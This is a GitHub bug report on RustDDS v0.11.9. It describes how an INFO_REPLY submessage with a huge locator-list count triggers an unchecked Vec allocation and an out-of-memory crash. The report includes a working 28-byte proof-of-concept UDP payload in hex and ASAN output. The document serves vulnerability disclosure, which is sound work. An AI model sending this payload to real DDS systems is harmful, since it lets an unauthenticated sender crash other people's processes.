Skip to content

Malformed INFO_REPLY submessage triggers unbounded Vec<Locator> allocation and OOM crash (ASAN confirmed) #404

@TUPYP7180

Description

@TUPYP7180

Summary

Component: src/messages/submessages/info_reply.rs

When RustDDS receives an INFO_REPLY RTPS submessage whose locator-list count field is set to a large value (using a fuzzing tools), it attempts to allocate an enormous Vec<Locator> without first validating whether the declared count is consistent with the remaining bytes in the packet. This causes an immediate out-of-memory abort, crashing the entire process.

The crash is reproducible with a single malformed UDP packet sent to any RustDDS participant. No prior connection or authentication is required.

Affected Version

  • RustDDS: v0.11.9
  • OS: Ubuntu 22.04 (Linux 6.8.0, x86_64)
  • Compiler: Rust nightly with -Zsanitizer=address

Root Cause

InfoReply derives speedy::Readable for CDR deserialization:

// src/messages/submessages/info_reply.rs
#[derive(Debug, PartialEq, Eq, Clone, Readable, Writable)]
pub struct InfoReply {
    pub unicast_locator_list: Vec<Locator>,
    pub multicast_locator_list: Option<Vec<Locator>>,
}

The speedy crate's auto-generated Readable implementation for Vec<T> reads a 4-byte u32 length prefix from the wire, then calls Vec::with_capacity(count as usize) without checking whether count × size_of::<Locator>() bytes are actually present in the remaining input buffer.

A crafted count field of 0x44209480 (1,143,275,648) causes an allocation attempt of:

1,143,275,648 × 64 bytes/Locator ≈ 73.9 GB

triggering an immediate OOM abort.

Proof of Concept

Minimal malformed UDP payload (28 bytes) that triggers the crash:

# RTPS packet with crafted INFO_REPLY submessage
# Send to DDS multicast/unicast port (e.g., UDP 7400)

52 54 50 53  # RTPS magic
02 04        # Protocol version 2.4
01 0F        # Vendor ID
C0 A8 01 01 00 00 00 00 00 00 00 00  # GUID prefix (12 bytes)
# INFO_REPLY submessage (kind = 0x0F)
0F 01        # submessage ID + flags (little-endian)
04 00        # octetsToNextHeader = 4
80 94 20 44  # unicast_locator_list.count = 1,143,275,648 → OOM

Hex string:

5254505302040 10FC0A801010000000000000000 0F010400 80942044

Crash Output (ASAN)

[rustdds::rtps::message_receiver] RTPS deserialize error ...
==56694==ERROR: AddressSanitizer: out of memory: allocator is trying to allocate 0x12bf224020 bytes
    #0  ___interceptor_malloc
    #1  GlobalAlloc::alloc
    #2  RawVec::with_capacity_in
    #3  RawVec<Locator>::with_capacity_in     ← allocating Vec<Locator>
    #4  InfoReply::read_from                  ← speedy Readable impl
    #5  InfoReply::read_with_length_from_buffer_with_ctx
        ... (RTPS background event loop thread T2)

==56694==ABORTING

The crash occurs in the RTPS background thread (T2), terminating the whole process.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions